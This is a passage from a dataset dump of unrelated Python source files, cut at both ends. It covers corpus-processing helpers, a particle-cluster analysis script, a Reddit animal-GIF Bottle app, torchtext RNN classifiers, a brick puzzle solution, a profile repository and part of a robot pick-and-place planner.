return False\n return True\n\ndef animator(progbar, count, tot_string = False, linenum = False, terminal = False, \n init = False, length = False, **kwargs):\n \"\"\"\n Animates progress bar in unique position in terminal\n Multiple progress bars not supported in jupyter yet.\n \"\"\"\n \n # add startnum\n start_at = kwargs.get('startnum', 0)\n if start_at is None:\n start_at = 0.0\n denominator = kwargs.get('denom', 1)\n if kwargs.get('note'):\n if count is None:\n perc_done = 0.0\n else:\n perc_done = (count * 100.0 / float(length)) / float(denominator)\n kwargs['note'].progvar.set(start_at + perc_done)\n kwargs['root'].update()\n return\n\n if init:\n from textprogressbar import TextProgressBar\n return TextProgressBar(length, dirname = tot_string)\n if type(linenum) == int:\n # this try is for sublime text nosetests, which don't take terminal object\n try:\n with terminal.location(0, terminal.height - (linenum + 1)):\n if tot_string:\n progbar.animate(count, tot_string)\n else:\n progbar.animate(count)\n except:\n pass\n else:\n if tot_string:\n progbar.animate(count, tot_string)\n else:\n progbar.animate(count) \n \ndef parse_just_speakers(just_speakers, path):\n if just_speakers is True:\n just_speakers = ['each']\n if just_speakers is False or just_speakers is None:\n return False\n if type(just_speakers) == str:\n just_speakers = [just_speakers]\n if type(just_speakers) == list:\n if just_speakers == ['each']:\n from build import get_speaker_names_from_xml_corpus\n just_speakers = get_speaker_names_from_xml_corpus(path)\n return just_speakers\n\n\ndef get_deps(sentence, dep_type):\n if dep_type == 'basic-dependencies':\n return sentence.basic_dependencies\n if dep_type == 'collapsed-dependencies':\n return sentence.collapsed_dependencies\n if dep_type == 'collapsed-ccprocessed-dependencies':\n return sentence.collapsed_ccprocessed_dependencies\n\ndef timestring(input):\n \"\"\"print with time prepended\"\"\"\n from time import localtime, strftime\n thetime = strftime(\"%H:%M:%S\", localtime())\n print('%s: %s' % (thetime, input.lstrip()))\n\ndef makesafe(variabletext):\n import re\n from process import is_number\n variable_safe_r = re.compile(r'[^A-Za-z0-9_]+', re.UNICODE)\n try:\n txt = variabletext.name.split('.')[0].replace('-parsed', '')\n except AttributeError:\n txt = variabletext.split('.')[0].replace('-parsed', '')\n txt = txt.replace(' ', '_')\n variable_safe = re.sub(variable_safe_r, '', txt)\n if is_number(variable_safe):\n variable_safe = 'c' + variable_safe\n return variable_safe\n\ndef interrogation_from_conclines(newdata):\n \"\"\"make new interrogation result from its conc lines\"\"\"\n from collections import Counter\n from pandas import DataFrame\n import corpkit\n from corpkit import editor\n results = {}\n conc = newdata\n subcorpora = list(set(conc['c']))\n for subcorpus in subcorpora:\n counted = Counter(list(conc[conc['c'] == subcorpus]['m']))\n results[subcorpus] = counted\n\n the_big_dict = {}\n unique_results = set([item for sublist in list(results.values()) for item in sublist])\n for word in unique_results:\n the_big_dict[word] = [subcorp_result[word] for name, subcorp_result in sorted(results.items(), key=lambda x: x[0])]\n # turn master dict into dataframe, sorted\n df = DataFrame(the_big_dict, index = sorted(results.keys())) \n df = editor(df, sort_by = 'total', print_info = False)\n df.concordance = conc\n return df\n","sub_path":"corpkit/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":26834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"514837039","text":"import numpy\nimport theano.tensor as T\nfrom theano import function\n\n\nclass Basics:\n\tdef __init__(self):\n\t\tx = T.dscalar('x')\n\t\ty = T.dscalar('y')\n\t\tz = x + y\n\t\tself.scalar_sum = function([x, y], z)\n\n\nb = Basics()\nprint (b.scalar_sum(1,2))","sub_path":"neural_networks_toturial/theano_test.py","file_name":"theano_test.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"105853707","text":"# Copyright (c) 2021. stewu5. All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.e\n\nfrom collections import Counter\n\nimport pandas as pd\nfrom rdkit import Chem\nfrom xenonpy.descriptor import Compositions\nfrom xenonpy.descriptor.base import BaseFeaturizer\n\n\nclass OrganicCompDescriptor(BaseFeaturizer):\n\n def __init__(self, n_jobs=-1, *, featurizers='all', on_errors='raise', return_type='any'):\n \"\"\"\n A featurizer for extracting XenonPy compositional descriptors from SMILES or MOL\n \"\"\"\n\n # fix n_jobs to be 0 to skip automatic wrapper in XenonPy BaseFeaturizer class\n super().__init__(n_jobs=0, on_errors=on_errors, return_type=return_type)\n self._cal = Compositions(n_jobs=n_jobs, featurizers=featurizers, on_errors=on_errors)\n\n def featurize(self, x):\n # check if type(x) = list\n if isinstance(x, pd.Series):\n x = x.tolist()\n if not isinstance(x, list):\n x = [x]\n # check input format, assume SMILES if not RDKit-MOL\n if not isinstance(x[0], Chem.rdchem.Mol):\n x_mol = []\n for z in x:\n x_mol.append(Chem.MolFromSmiles(z))\n if x_mol[-1] is None:\n raise ValueError('can not convert Mol from SMILES %s' % z)\n else:\n x_mol = x\n\n # convert to counting dictionary\n mol = [Chem.AddHs(z) for z in x_mol]\n d_list = [dict(Counter([atom.GetSymbol() for atom in z.GetAtoms()])) for z in mol]\n\n self.output = self._cal.transform(d_list)\n\n return self.output\n\n @property\n def feature_labels(self):\n return self.output.columns\n","sub_path":"xenonpy/contrib/extend_descriptors/descriptor/organic_comp_descriptor.py","file_name":"organic_comp_descriptor.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"274595025","text":"import sys\n\nhoomd_path = str(sys.argv[4])\ngsd_path = str(sys.argv[5])\n\n# need to extract values from filename (pa, pb, xa) for naming\npart_perc_a = int(sys.argv[3])\npart_frac_a = float(part_perc_a) / 100.0\npe_a = int(sys.argv[1])\npe_b = int(sys.argv[2])\n\nsys.path.append(hoomd_path)\n\nimport hoomd\nfrom hoomd import md\nfrom hoomd import deprecated\n\n#initialize system randomly, can specify GPU execution here\nmy_dt = 0.000001\n\n################################################################################\n############################# Begin Data Analysis ##############################\n################################################################################\n\nsys.path.append(gsd_path)\nimport gsd\nfrom gsd import hoomd\nfrom gsd import pygsd\nimport numpy as np\n\nmyfile = \"MSDten_pa\" + str(pe_a) + \"_pb\" + str(pe_b) + \"_xa\" + str(part_perc_a) + \".gsd\"\n\nf = hoomd.open(name=myfile, mode='rb')\ndumps = f.__len__()\n#size_min = 1000 # minimum size of cluster\nsize_min = 35\n\nposition_array = np.zeros((dumps), dtype=np.ndarray) # array of position arrays\ntype_array = np.zeros((dumps), dtype=np.ndarray) # particle types\nbox_data = np.zeros((1), dtype=np.ndarray) # box dimensions\ntimesteps = np.zeros((dumps), dtype=np.float64) # timesteps\n\nwith hoomd.open(name=myfile, mode='rb') as t: # open for reading\n snap = t[0] # snap 0th snapshot\n box_data = snap.configuration.box # get box dimensions\n for i in range(0,dumps):\n snap = t[i] # take snap of each dump\n type_array[i] = snap.particles.typeid\n position_array[i] = snap.particles.position # store all particle positions\n timesteps[i] = snap.configuration.step # store tstep for plotting purposes\n\ntimesteps -= timesteps[0]\nmsd_time = timesteps[1:]\nmsd_time *= my_dt\n\npart_num = len(type_array[0])\n\npart_a = part_num * part_frac_a # get the total number of A particles\npart_a = int(part_a)\npart_b = part_num - part_a # get the total number of B particles\npart_b = int(part_b)\n\npos_A = np.zeros((dumps), dtype=np.ndarray) # type A positions\npos_B = np.zeros((dumps), dtype=np.ndarray) # type B positions\ntmpA = np.zeros((part_a, 3), dtype=np.float32) # temporary storage arrays\ntmpB = np.zeros((part_b, 3), dtype=np.float32)\n\nfrom freud import parallel, box, density, cluster\nparallel.setNumThreads(1) # don't run multiple threads\n\nmy_density = density.LocalDensity(r_cut=2.5,\n volume=0.79,\n diameter=1.0) # initiate class, use area of circle\n\nl_box = box_data[0] # get box dimensions (square here)\nf_box = box.Box(Lx=l_box,\n Ly=l_box,\n is2D=True) # initialize freud box\n\nmy_clusters = cluster.Cluster(box=f_box,\n rcut=1.0) # initialize class\ncluster_props = cluster.ClusterProperties(box=f_box)\n\nids = np.zeros((dumps), dtype=np.ndarray)\nsize_clusters = np.zeros((dumps), dtype=np.ndarray)\ntot_size = np.zeros((dumps), dtype=np.ndarray) # number of particles in clusters\ntot_num = np.zeros((dumps), dtype=np.ndarray) # total number of clusters\nMCS = np.zeros((dumps), dtype=np.ndarray) # Mean cluster size\nGF = np.zeros((dumps), dtype=np.ndarray) # Gas fraction\nA_ids = np.zeros((part_a), dtype=np.ndarray) # type A ids\nB_ids = np.zeros((part_b), dtype=np.ndarray) # type B ids\nlargest = np.zeros((dumps), dtype=np.ndarray) # read out largest cluster at each tstep\n\n# analyze all particles\nfor j in range(0, dumps):\n \n l_pos = position_array[j]\n my_clusters.computeClusters(l_pos)\n ids = my_clusters.getClusterIdx() # get cluster ids\n cluster_props.computeProperties(l_pos, ids)\n size_clusters[j] = cluster_props.getClusterSizes() # get number of particles in each\n\n #####################################################################\n ### Find avg cluster size, gas fraction, and largest cluster size ###\n #####################################################################\n l_clust = 0 # int size of largest cluster\n for k in range(0, len(size_clusters[j])):\n # the size minimum is a very important value to consider\n if size_clusters[j][k] > size_min and size_clusters[j][k] < part_num:\n tot_size[j] += size_clusters[j][k]\n tot_num[j] += 1\n if size_clusters[j][k] > l_clust: # if larger cluster is found\n l_clust = size_clusters[j][k] # set l_clust to that size\n \n largest[j] = l_clust # save largest cluster size for tstep\n\n f_largest = \"ten_largest_pa\" + str(pe_a) + \"_pb\" + str(pe_b) + \"_xa\" + str(part_perc_a) + \".txt\"\n if j == 0:\n a_w = 'w'\n else:\n a_w = 'a'\n f = open(f_largest, a_w)\n f.write(str(l_clust) + '\\n')\n f.close()\n\n mcs_text = \"ten_MCS_pa\" + str(pe_a) + \"_pb\" + str(pe_b) + \"_xa\" + str(part_perc_a) + \".txt\"\n gf_text = \"ten_GF_pa\" + str(pe_a) + \"_pb\" + str(pe_b) + \"_xa\" + str(part_perc_a) + \".txt\"\n if tot_num[j] > 0:\n MCS[j] = float(tot_size[j]/tot_num[j])/float(part_num)\n GF[j] = float(part_num - tot_size[j]) / float(part_num)\n else:\n MCS[j] = 0.0001\n GF[j] = 1\n\n f = open(mcs_text, a_w)\n f.write(str(timesteps[j]) + ' ' + str(MCS[j]) + '\\n')\n f.close()\n\n f = open(gf_text, a_w)\n f.write(str(timesteps[j]) + ' ' + str(GF[j]) + '\\n')\n f.close()\n\n################################################################################\n###### perform the same analysis on species A and species B individually #######\n################################################################################\n\nif part_perc_a != 0 and part_perc_a != 100:\n\n tot_size_A = np.zeros((dumps), dtype=np.ndarray) # number of particles in clusters\n tot_num_A = np.zeros((dumps), dtype=np.ndarray) # total number of clusters\n MCS_A = np.zeros((dumps), dtype=np.ndarray) # Mean cluster size\n GF_A = np.zeros((dumps), dtype=np.ndarray) # Gas fraction\n\n tot_size_B = np.zeros((dumps), dtype=np.ndarray) # number of particles in clusters\n tot_num_B = np.zeros((dumps), dtype=np.ndarray) # total number of clusters\n MCS_B = np.zeros((dumps), dtype=np.ndarray) # Mean cluster size\n GF_B = np.zeros((dumps), dtype=np.ndarray) # Gas fraction\n\n for j in range(0, dumps):\n countA = 0\n countB = 0\n for g in range(0, part_num):\n if type_array[j][g] == 0:\n tmpA[countA][0] = position_array[j][g][0]\n tmpA[countA][1] = position_array[j][g][1]\n tmpA[countA][2] = position_array[j][g][2]\n countA += 1\n else:\n tmpB[countB][0] = position_array[j][g][0]\n tmpB[countB][1] = position_array[j][g][1]\n tmpB[countB][2] = position_array[j][g][2]\n countB += 1\n\n pos_A[j] = tmpA\n pos_B[j] = tmpB\n \n l_pos = pos_A[j]\n my_clusters.computeClusters(l_pos)\n ids = my_clusters.getClusterIdx() # get cluster ids\n cluster_props.computeProperties(l_pos, ids)\n size_clusters[j] = cluster_props.getClusterSizes() # get number of particles in each\n \n ####################################\n ### GF, MCS for A-A correlations ###\n ####################################\n \n for k in range(0, len(size_clusters[j])):\n # the size minimum is a very important value to consider\n if size_clusters[j][k] > size_min and size_clusters[j][k] < part_num:\n tot_size_A[j] += size_clusters[j][k]\n tot_num_A[j] += 1\n\n if tot_num_A[j] > 0:\n MCS_A[j] = float(tot_size_A[j]/tot_num_A[j])/float(part_a)\n GF_A[j] = float(part_a - tot_size_A[j]) / float(part_a)\n \n else:\n MCS_A[j] = 0.0001\n GF_A[j] = 1\n\n l_pos = pos_B[j]\n my_clusters.computeClusters(l_pos)\n ids = my_clusters.getClusterIdx() # get cluster ids\n cluster_props.computeProperties(l_pos, ids)\n size_clusters[j] = cluster_props.getClusterSizes() # get number of particles in each\n \n ####################################\n ### GF, MCS for A-A correlations ###\n ####################################\n\n for k in range(0, len(size_clusters[j])):\n # the size minimum is a very important value to consider\n if size_clusters[j][k] > size_min and size_clusters[j][k] < part_num:\n tot_size_B[j] += size_clusters[j][k]\n tot_num_B[j] += 1\n\n if tot_num_B[j] > 0:\n MCS_B[j] = float(tot_size_B[j]/tot_num_B[j])/float(part_b)\n GF_B[j] = float(part_b - tot_size_B[j]) / float(part_b)\n \n else:\n MCS_B[j] = 0.0001\n GF_B[j] = 1\n\n################################################################################\n#################### Plot the individual and total data ########################\n################################################################################\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set(color_codes=True)\n\nplt_name = \"ten_pa\" + str(pe_a) + \"_pb\" + str(pe_b) + \"_xa\" + str(part_perc_a)\nplt_name1 = \"ten_pa\" + str(pe_a) + \"_pb\" + str(pe_b) + \"_xa\" + str(part_perc_a) + \"A\"\nplt_name2 = \"ten_pa\" + str(pe_a) + \"_pb\" + str(pe_b) + \"_xa\" + str(part_perc_a) + \"B\"\n\nif part_perc_a != 0 and part_perc_a != 100:\n\n plt.plot(msd_time, MCS[1:], color=\"g\")\n plt.plot(msd_time, MCS_A[1:], color=\"r\")\n plt.plot(msd_time, MCS_B[1:], color=\"b\")\n #plt.ylim((0,1))\n plt.ylim(ymin=0.0001)\n plt.xscale('log')\n plt.yscale('log')\n plt.xlabel('Time (tau)')\n plt.ylabel('MCS')\n plt.savefig('MCS_'+ plt_name + '.png', dpi=1000)\n plt.close()\n\n plt.plot(msd_time, GF[1:], color=\"g\")\n plt.plot(msd_time, GF_A[1:], color=\"r\")\n plt.plot(msd_time, GF_B[1:], color=\"b\")\n plt.ylim((0,1))\n plt.xlabel('Time (tau)')\n plt.ylabel('GF')\n plt.savefig('GF_'+plt_name+'.png', dpi=1000)\n plt.close()\n\n plt.plot(msd_time, largest[1:], color=\"g\")\n plt.xlabel('Time (tau)')\n plt.ylabel('Largest Cluster')\n plt.savefig('Largest_clust_'+plt_name+'.png', dpi=1000)\n plt.close()\n\nelse: # if monodisperse plot total values\n plt.plot(msd_time, MCS[1:], color=\"g\")\n plt.ylim(ymin=0.0001)\n plt.xscale('log')\n plt.yscale('log')\n plt.xlabel('Time (tau)')\n plt.ylabel('MCS')\n plt.savefig('MCS_'+ plt_name + '.png', dpi=1000)\n plt.close()\n\n plt.plot(msd_time, GF[1:], color=\"g\")\n plt.ylim((0,1))\n plt.xlabel('Time (tau)')\n plt.ylabel('GF')\n plt.savefig('GF_'+plt_name+'.png', dpi=1000)\n plt.close()\n\n plt.plot(msd_time, largest[1:], color=\"g\")\n plt.xlabel('Time (tau)')\n plt.ylabel('Largest Cluster')\n plt.savefig('Largest_clust_'+plt_name+'.png', dpi=1000)\n plt.close()\n","sub_path":"post_proc/MCSten.py","file_name":"MCSten.py","file_ext":"py","file_size_in_byte":11569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"626352270","text":"#!/usr/bin/python\n\nfrom bottle import route, run, template, static_file, view\nimport os, os.path, glob, random, urllib2, json\n\ndef crawl():\n try:\n json_response = urllib2.urlopen(\"https://www.reddit.com/r/AnimalGIFs/top/.json?sort=top&t=all&count=1000\").read()\n with open('posts.json', \"w\") as file: file.write(json_response)\n except: pass\n\n with open('posts.json') as file: data = json.load(file)\n\n images = []\n for obj in data[\"data\"][\"children\"]:\n if \"url\" in obj[\"data\"] and \".gif\" in obj[\"data\"][\"url\"]:\n images.append(obj[\"data\"][\"url\"].replace(\"gifv\", \"gif\"))\n else: continue\n\n return images\n\n@route('/')\n@view('index')\ndef index():\n images = crawl()\n return dict(image=random.choice(images), refresh=True)\n\n# @route('/')\n# @view('dog')\n# def dogs(id):\n# img_count = len(glob.glob('./images/*'))\n# return dict(imc=img_count, pid=id, lid = id - 1, nid = id + 1, refresh=False)\n\n# @route('/dog')\n# @view('dog')\n# def dogs():\n# img_count = len(glob.glob('./images/*'))\n# id = random.randint(1, img_count)\n# return dict(imc=img_count, pid=id, lid = id - 1, nid = id + 1, refresh=True)\n\n# @route('/static/')\n# def server_static(filename):\n# return static_file(filename, root='./images')\n\nrun(host='localhost', port=8080, debug=True)\n\n","sub_path":"funnyanimal.py","file_name":"funnyanimal.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"375852641","text":"#!/usr/bin/env python3\n\n# %%\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchtext.legacy import data\nfrom torchtext.vocab import Vectors, GloVe \nfrom model.models import LSTM, BiLSTM, GRU, RNN\nfrom sklearn.model_selection import KFold\n# %%\n# rearrange data with pandas\ndef prepare_data(): \n theses_df = pd.read_csv('../res/theses.tsv',header=None, sep='\\t')\n # remove diploma theses\n theses_df = theses_df[theses_df[2] != 'Diplom'] \n theses_df = theses_df[theses_df[1] != 'im Ausland']\n del theses_df[0]\n\n # reorder columns\n theses_df.rename(columns={1: 'ort', 2: 'art', 3: 'text'}, inplace=True)\n theses_df = theses_df[['text', 'ort', 'art']]\n return theses_df\n# %%\n# build and label train and test vocabulary \ndef build_vocab(classification_type: str):\n tokenize = lambda x: x.split()\n TEXT = data.Field(sequential=True, tokenize=tokenize, lower=True, include_lengths=True, batch_first=True, fix_length=200)\n LABEL = data.LabelField(sequential=False, fix_length = 2, dtype = torch.float, batch_first=True)\n \n # define fields according to classification type\n if classification_type == 'art':\n fields = [('text',TEXT), (None, None),('label', LABEL)]\n else:\n fields = [('text',TEXT), ('label', LABEL),(None, None)]\n train_data, test_data = data.TabularDataset.splits(path='data/', train='theses_train.csv', validation=None, test='theses_test.csv', format='csv', fields = fields)\n TEXT.build_vocab(train_data, vectors=GloVe(name='6B', dim=300))\n LABEL.build_vocab(train_data)\n return train_data, test_data, TEXT, LABEL\n\n# %%\n# get split iterators\ndef split_train_data(train_data, test_data, TEXT):\n train_iter, test_iter = data.BucketIterator.splits((train_data, test_data), batch_size=32, sort_key=lambda x: len(x.text), repeat=False, shuffle=True)\n word_embeddings = TEXT.vocab.vectors\n vocab_size = len(TEXT.vocab)\n return train_data, train_iter, test_iter, word_embeddings, vocab_size\n\n# %%\n# train and evaluate model\ndef clip_gradient(model, clip_value):\n params = list(filter(lambda p: p.grad is not None, model.parameters()))\n for p in params:\n p.grad.data.clamp_(-clip_value, clip_value)\n \ndef train_model(model, train_iter, epoch, loss_fn):\n total_epoch_loss = 0\n total_epoch_acc = 0\n optim = torch.optim.Adam(filter(lambda p: p.requires_grad, model.parameters()))\n steps = 0\n model.train()\n for idx, batch in enumerate(train_iter):\n text = batch.text[0]\n target = batch.label\n target = torch.autograd.Variable(target).long()\n if (text.size()[0] is not 32):# One of the batch returned by BucketIterator has length different than 32.\n continue\n optim.zero_grad()\n prediction = model(text)\n loss = loss_fn(prediction, target)\n num_corrects = (torch.max(prediction, 1)[1].view(target.size()).data == target.data).float().sum()\n acc = 100.0 * num_corrects/len(batch)\n loss.backward()\n clip_gradient(model, 1e-1)\n optim.step()\n steps += 1\n \n if steps % 100 == 0:\n print (f'Epoch: {epoch+1}, Idx: {idx+1}, Training Loss: {loss.item():.4f}, Training Accuracy: {acc.item(): .2f}%')\n \n total_epoch_loss += loss.item()\n total_epoch_acc += acc.item()\n \n return total_epoch_loss/len(train_iter), total_epoch_acc/len(train_iter)\n\ndef eval_model(model, val_iter, loss_fn):\n total_epoch_loss = 0\n total_epoch_acc = 0\n total_epoch_pres = 0\n total_epoch_rec = 0\n total_epoch_f1 = 0\n model.eval()\n with torch.no_grad():\n for idx, batch in enumerate(val_iter):\n text = batch.text[0]\n if (text.size()[0] is not 32):\n continue\n target = batch.label\n target = torch.autograd.Variable(target).long()\n prediction = model(text)\n loss = loss_fn(prediction, target)\n\n # get prediction vector of zeros and ones for batch\n pred_vec = torch.max(prediction, 1)[1].view(target.size()).data\n\n # get numbers of wrong/correct classifications\n num_false_positives = (pred_vec - target == 1).sum()\n num_false_negatives = (pred_vec - target == -1).sum()\n num_corrects = (pred_vec == target.data).sum()\n\n # calculate metrics\n acc = 100.0 * num_corrects/len(batch)\n precision = 100.0 * num_corrects/(num_corrects + num_false_positives)\n recall = 100.0 * num_corrects/(num_corrects + num_false_negatives)\n f1 = (2 * precision * recall) / (precision + recall)\n\n total_epoch_loss += loss.item()\n total_epoch_acc += acc.item()\n total_epoch_pres += precision.item()\n total_epoch_rec += recall.item()\n total_epoch_f1 += f1.item()\n\n return total_epoch_loss/len(val_iter), total_epoch_acc/len(val_iter), total_epoch_pres/len(val_iter), total_epoch_rec/len(val_iter), total_epoch_f1/len(val_iter)\n\t\ndef run_model(model, vocab_size, word_embeddings, train_iter, test_iter):\n batch_size = 32\n output_size = 2\n hidden_size = 256\n embedding_length = 300\n\n model = model(batch_size, output_size, hidden_size, vocab_size, embedding_length, word_embeddings)\n loss_fn = F.cross_entropy\n\n for epoch in range(10):\n train_loss, train_acc = train_model(model, train_iter, epoch, loss_fn) \n print(f'Epoch: {epoch+1:02}, Train Loss: {train_loss:.3f}, Train Acc: {train_acc:.2f}%')\n \n test_loss, test_acc, test_pres, test_rec, test_f1 = eval_model(model, test_iter, loss_fn)\n print(f'Test Loss: {test_loss:.3f}, Test Acc: {test_acc:.2f}%, Test Pres: {test_pres:.2f}%, Test Rec: {test_rec:.2f}%, Test F1: {test_f1:.2f}%')\n return test_acc, test_pres, test_rec, test_f1\n# %%\ndef cross_valid(classification_type: str, model):\n accuracy = []\n precision = []\n recall = []\n f1 = []\n\n theses_df = prepare_data()\n cv = KFold(n_splits=5, shuffle=False)\n for train_index, test_index in cv.split(theses_df):\n\n X_train, X_test= theses_df.iloc[train_index], theses_df.iloc[test_index]\n # save train and test data chunks\n X_train.to_csv('data/theses_train.csv', encoding='utf-8', index=False, header=False)\n X_test.to_csv('data/theses_test.csv', encoding='utf-8', index=False, header=False)\n\n train_data, test_data, TEXT, LABEL = build_vocab(classification_type)\n train_data, train_iter, test_iter, word_embeddings, vocab_size = split_train_data(train_data, test_data, TEXT)\n test_acc, test_pres, test_rec, test_f1 = run_model(model, vocab_size, word_embeddings, train_iter, test_iter)\n accuracy.append(test_acc)\n precision.append(test_pres)\n recall.append(test_rec)\n f1.append(test_f1)\n print('Overall Accuracy:', np.mean(accuracy))\n print('Overall Precision:', np.mean(precision))\n print('Overall Recall:', np.mean(recall))\n print('Overall F1:', np.mean(f1))\n\n# insert preferred model and classification type\n# as training takes quite a while, an overview of the model scores is provided in \"model_scores.pdf\"\nrnn = RNN\ngru = GRU\nlstm = LSTM\nbilstm = BiLSTM\ncross_valid('ort', gru)\n# %%\n","sub_path":"4-nnets/final/src/nnets_3.py","file_name":"nnets_3.py","file_ext":"py","file_size_in_byte":7396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"330283829","text":"import collections\n\n\ndef hit(bricks):\n if len(bricks) == 3:\n if sum(bricks) <= S:\n bricks.clear()\n else:\n if bricks[0] + bricks[1] <= S:\n bricks.popleft()\n bricks.popleft()\n else:\n if bricks[1] + bricks[2] <= S:\n bricks.pop()\n bricks.pop()\n else:\n if bricks[2] <= S:\n bricks.pop()\n elif len(bricks) == 2:\n if bricks[0] + bricks[1] <= S:\n bricks.popleft()\n bricks.popleft()\n else:\n if bricks[1] <= S:\n bricks.pop()\n elif len(bricks) == 1:\n if bricks[0] <= S:\n bricks.pop()\n else:\n raise ValueError('Last brick too stronk')\n\n return bricks\n\n\nT = int(input())\n\nfor _ in range(T):\n S, W1, W2, W3 = map(int, input().split())\n bricks = collections.deque([W1, W2, W3])\n count = 0\n\n while len(bricks) > 0:\n bricks = hit(bricks)\n count += 1\n\n print(count)\n","sub_path":"JLUG2020/BRKTBRK/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"467633652","text":"# -*- coding: utf-8 -*-\nfrom synergy.repository.baserepository import BaseRepository\nfrom synergy.profile.models import Profile\n\n\nclass ProfilesRepository(BaseRepository):\n def get(self, user_id):\n \"\"\"\n\n :param user_id:\n :type user_id:\n :return:\n :rtype:\n \"\"\"\n profile = None\n try:\n cursor = self.connection.cursor()\n cursor.callproc('get_profile', args=(user_id,))\n user_record = next(cursor.stored_results())\n\n for row in user_record:\n profile = Profile(*row)\n\n except Exception as e:\n raise e\n\n return profile\n\n def create(self, profile):\n \"\"\"\n\n :param profile:\n :type profile:\n :return:\n :rtype:\n \"\"\"\n try:\n cursor = self.connection.cursor()\n cursor.callproc('create_profile', args=profile.as_tuple())\n except Exception as e:\n raise e\n\n return profile\n\n def update(self, profile):\n \"\"\"\n\n :param profile:\n :type profile:\n :return:\n :rtype:\n \"\"\"\n try:\n cursor = self.connection.cursor()\n cursor.callproc('update_profile', args=profile.as_tuple())\n except Exception as e:\n raise e\n\n return profile","sub_path":"synergy/profile/repositories/profilesrepository.py","file_name":"profilesrepository.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"35651980","text":"from ..oracle import *\nfrom ..operators import *\nfrom planner.operators import *\nfrom planner.states import *\n\n# TODO - include quaternion distance\n\n# Goal objects\ndef goal_distance_fn(oracle):\n planning_problem = oracle.problem\n return lambda s1, s2: sum(norm(point_from_pose(s1[obj].value) - point_from_pose(s2[obj].value)) \\\n for obj in planning_problem.goal_poses.keys() + planning_problem.goal_regions.keys())\n\n# All objects\ndef all_distance_fn(oracle):\n planning_problem = oracle.problem\n return lambda s1, s2: sum(norm(point_from_pose(s1[obj].value) - point_from_pose(s2[obj].value)) for obj in oracle.objects \\\n if s1[obj] is not False and s2[obj] is not False)\n\n#################################################################\n\n# TODO - ensure sampled configurations are actually valid (non-colliding)\n\ndef goal_sample_fn(oracle):\n planning_problem = oracle.problem\n def fn():\n values = {}\n for object_name in planning_problem.goal_poses:\n values[object_name] = planning_problem.goal_poses[object_name]\n for object_name, region_name in planning_problem.goal_regions.iteritems():\n values[object_name] = safe_next(random_region_placements(oracle, object_name, [region_name]))\n return State(values)\n return fn\n\ndef goal_objects_sample_fn(oracle):\n planning_problem = oracle.problem\n return lambda: State({object_name: safe_next(random_region_placements(oracle, object_name, oracle.tables)) \\\n for object_name in planning_problem.goal_poses.keys() + planning_problem.goal_regions.keys()})\n\ndef all_sample_fn(oracle):\n return lambda: State({object_name: safe_next(random_region_placements(oracle, object_name, oracle.tables)) \\\n for object_name in oracle.objects})\n\ndef subset_sample_fn(oracle):\n def fn():\n n = len(oracle.objects)\n r = randint(0, 2**n)\n include = map(lambda d: d== '1', ('{0:0' + str(n) + 'b}').format(r))\n values = {}\n for i, b in enumerate(include):\n object_name = oracle.objects[i]\n if b:\n values[object_name] = safe_next(random_region_placements(oracle, object_name, oracle.tables))\n else:\n pass # TODO - possibly include some sort of default configuration\n return State(values)\n return fn\n\n#################################################################\n\nPICK_BRANCHING_FACTOR = 1\nPICKS_PER_GENERATOR = 1\n\nOBJECT_ORDERS = enum('RANDOM', 'GOALS', 'UNSATISFIED_GOALS')\nUSE_OBJECT_ORDER = OBJECT_ORDERS.UNSATISFIED_GOALS\n\ndef pick_successors(state, oracle):\n planning_problem = oracle.problem\n if state['holding'] is not False: return\n\n robot_config = state['robot']\n object_poses = {object_name: state[object_name] for object_name in oracle.objects if state[object_name] is not False}\n operators = []\n\n if USE_OBJECT_ORDER == OBJECT_ORDERS.RANDOM:\n object_order = randomize(oracle.objects)\n elif USE_OBJECT_ORDER == OBJECT_ORDERS.GOALS:\n object_order = sorted(oracle.objects, key=lambda obj: not (obj in planning_problem.goal_poses.keys() + planning_problem.goal_regions.keys()))\n elif USE_OBJECT_ORDER == OBJECT_ORDERS.UNSATISFIED_GOALS:\n object_order = sorted(oracle.objects, key=lambda obj: not ((obj in planning_problem.goal_poses and state[obj] != planning_problem.goal_poses[obj]) or \\\n obj in planning_problem.goal_regions and not oracle.region_contains(planning_problem.goal_regions[obj], obj, object_pose=state[obj])))\n else:\n object_order = oracle.objects\n\n generators = deque([(object_name, query_manip_tuples(oracle, object_name, poses=[state[object_name]], candidates=INF, object_poses=object_poses)) \\\n for object_name in object_order])\n while len(generators) != 0:\n object_name, generator = generators.popleft()\n\n num_generated = 0\n for manip_tup in islice(generator, PICKS_PER_GENERATOR):\n num_generated += 1\n base_trajs = oracle.plan_base_roadmap(robot_config, manip_tup.approach_config)\n if base_trajs is None: continue\n operators.append(MovePick(Holding(object_name, manip_tup.grasp), manip_tup.pose, manip_tup.grasp_config,\n manip_tup.approach_config, manip_tup.trajs, robot_config, base_trajs, oracle))\n if len(operators) == PICK_BRANCHING_FACTOR:\n yield operators\n operators = []\n if num_generated == PICKS_PER_GENERATOR: generators.append((object_name, generator))\n\n if len(operators) != 0:\n yield operators\n\n#################################################################\n\nPLACE_BRANCHING_FACTOR = 1\nPLACES_PER_GENERATOR = 1\nUSE_GOAL_PLACEMENTS = 